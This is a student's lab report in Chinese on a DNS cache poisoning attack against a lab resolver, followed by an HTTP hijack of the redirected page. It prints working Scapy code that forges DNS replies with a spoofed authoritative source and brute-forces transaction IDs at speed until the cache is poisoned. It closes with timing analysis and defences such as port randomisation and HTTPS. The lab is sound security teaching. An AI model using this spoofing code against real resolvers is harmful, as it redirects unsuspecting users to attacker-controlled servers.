网络安全工程与实践 实验3 DNS 缓存污染攻击
🔓

网络安全工程与实践 实验3 DNS 缓存污染攻击

时间
Nov 18, 2022 04:36 PM
Tags
notes
Brief Info
何哲 2019011313 计95

1 DNS 缓存污染攻击

首先在 User 主机上 ping imool.net 确定网络畅通,显示 ip 地址为 211.94.114.141
 
notion image
 
之后获取权威服务器的 ip 地址,这可以在本地使用 nslookup 设置 type=ns 之后查询。
 
notion image
 
得到权威服务器的 ip 地址为 39.107.126.48 ,于是可以写出构造 dns 回应包的函数
 
def make_reply(id):
    resp = IP(dst="192.168.1.3", src="39.107.126.48") / UDP(dport=10001, sport=53)
    rdata = "192.168.2.4"
    resp /= DNS(id=id, qr=1, qd=DNSQR(qname="dnslab.imool.net",qtype="A"),
                an=DNSRR(rrname="dnslab.imool.net", ttl=1800, rdata=rdata))
    return resp
 
这个函数构造出一个数据为 DNS 的 ip 包并且设置好了源地址、目的地址、源端口号、目的端口号,只不过将 rdata 篡改为了 attacker 服务器的 ip 地址。当前设置 ttl 为 1800 秒。
之后我写出了第一版代码:
 
id_list = [i for i in range(0, 500)]
def slow_version():
    send((IP(dst="192.168.1.3")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="dnslab.imool.net",qtype="A"))))
    start_time = time.time()
    for id in id_list:
        send(make_reply(id))
    print(f"use time: {time.time() - start_time}")
 
首先向 DNS server 发送了一个 DNS 请求,请求域名为 dnslab.imool.net 且 type 为 A 。之后遍历 ip 号并且用 send 函数发送伪造响应包。实验结果如下:
 
notion image
 
发现 500 个包共计发送了 3.770 秒,而从 DNS server 端进行抓包发现它收到权威服务器的回应时间大致为 0.7 秒,使用这个程序大概需要重复 700 遍,每次 10 秒间隔,预计需要 2 小时才能完成攻击。这显然是不够的。
于是需要想办法改进发包速度。首先容易想到,这段程序每次都会重新构建一个包再发送,而每次其实只更改了 DNS 包中的 id 段和 UDP 包的 checksum ,所以可以先构造好包再更改字段。
其次,通过检索发现,scapy 自带的 send 函数每次在发包的时候都会新建一个 socket 连接,这消耗了大量的时间。可以通过 conf.L2socket.send 解决这个问题。
于是更改后的代码如下:
 
id_list = [i for i in range(0, 5000)]

def change_id(dns_packet, new_id, ip_head):
    dns_packet[28] = (new_id >> 8) & 0xFF
    dns_packet[29] = new_id & 0xFF
    dns_packet[26] = 0
    dns_packet[27] = 0
    ck = in4_chksum(socket.IPPROTO_UDP, ip_head, dns_packet[20:])
    # According to RFC768 if the result checksum is 0, it should be set to 0xFFFF  # noqa: E501
    if ck == 0:
        ck = 0xFFFF
    dns_packet[26] = struct.pack("!H", ck)[0]
    dns_packet[27] = struct.pack("!H", ck)[1]

def fast_version():
    s = conf.L2socket()
    send((IP(dst="192.168.1.3")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="dnslab.imool.net",qtype="A"))))
    start_time = time.time()
    reply = make_reply(0)
    raw_reply = bytearray(raw(reply))
    offset=random.randint(a=0, b=65535)
    for id in id_list:
        change_id(raw_reply, (id + offset) % 65535, reply[IP])
        s.send(raw_reply)
    print(f"send {len(id_list)} packets, use time: {time.time() - start_time}")
 
其中 change_id 负责修改 dns_packet 中的 id 段和 UDP 包的 checksum 。这个函数的实现参考了 scapy.layers.DNS 的源码。在这个版本中,我对 id 的起始进行了随机化(感觉理论上用处不大)。
基于此,整个攻击的流程代码如下:
 
def dns_query_first_ip(dns_name):
    dns_result = sr1(IP(dst="192.168.1.3")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname=dns_name,qtype="A")))
    layer = 0
    dns_result_ip = dns_result.getlayer(DNS).fields['an'][layer].fields['rdata']
    return dns_result_ip

if __name__ == '__main__':
    times = 0
    while times < 100:
        times += 1
        fast_version()
        test_ip = dns_query_first_ip("dnslab.imool.net")
        if test_ip == "192.168.2.4":
            print("success!")
            break
        else:
            print(f"error with ip {test_ip}")
            print(f"try {times} times")
        time.sleep(10)
 
其中 dns_query_first_ip 函数的作用是发送 DNS 请求,测试 ip 是否篡改成果。于是整个流程是发送请求包-发送大量伪造回应包-发送测试包,查看是否攻击成果。
实验流程如下:
 
notion image
 
发现用这种方法能够大大加快发送的速度,发送 5000 个包大致需要 1 秒钟。而在 DNS server 端通过 wireshark 抓包发现,在真正的响应包到来之前可以接受大概 2300 个伪造包。
 
notion image
 
于是计算可知,大概需要 30 轮,也就是 5 分钟左右,就可以完成攻击。而实际上面的截图中可以看出,进行了 57 轮都没有完成,当时以为是代码写错了,实际上是脸黑…
之后又进行了一次相同的攻击,效果如下:
 
notion image
 
这次脸终于不黑了,在第 17 轮第时候就攻击成功。此时在 User 主机上使用 nslookup 查询 dns.imool.net 的 ip 地址会发现攻击成功。
 
notion image
 
至此,该实验完成。全部代码附在最后。
p.s. 中途用 wireshark 抓包发现我一开始 UDP 的 checksum 算错了…但好像从 DNS server 往权威服务器发送的请求中 checksum 也不太对?这个忘了截图了。
 

2 HTTP 中间人劫持攻击

在 DNS 劫持之后,User 访问的真实 ip 地址就变成了 192.168.2.4 ,于是只需要在 attack 服务器上修改页面即可。在路径 /var/www/html 中新建 index.html ,内容为我的学号。实现效果如下:
 
notion image
 
攻击成功。
 

3 思考题

  • 请多次尝试上述实验并记录攻击成功所需的时间,并对攻击成功所需的时间进行理论分析,思考如何进一步提高攻击效率。
    • 在本次实验中,我的攻击成功时间为 12 分钟左右。通过 wireshark 抓包分析可知在真实的 DNS 响应包到来之前 DNS server 可以接受大约 2300 个伪造包,于是理论成功时间为 ,大约需要 5 分钟。(可能是我脸比较黑,所以花了两倍的时间)
      提高攻击效率的重点在于提高发包速度。目前的构造包的方法需要动态更新 id 和 checksum ,但其实可以提前把包构造好并放入内存,之后直接发送会快一些。
  • 如果在上述实验条件下(TXID随即化)的同时开放源端口随机化,可以完全防御缓存污染攻击吗?
    • 可以在一定程度上防范。例如对于我的程序,当开放源端口随机化之后,攻破时间就变成了 ,约为 216 天。实际上,由于现实中可能不会把 ttl 仅设置为 10 秒,所以实际需要的攻击事件还会更多。这在很大程度上可以防范缓存污染攻击,但并不能完全避免。
  • 思考如何有效的防御 DNS 缓存污染攻击、HTTP 中间人攻击?
    • 对于 DNS 攻击,端口随机化可以有效防御。但彻底的防御可能需要对 DNS 包进行加密。而 HTTP 中间人攻击可以用 HTTPS 协议的方式进行防御。
       
参考网址:
https://blog.woefe.com/posts/faster_scapy.html (非常感谢这位朋友提供的思路和代码)
https://scapy.readthedocs.io/en/latest/index.html (从 scapy 官方文档找了不少资料,也看了一些源码)

Loading Comments...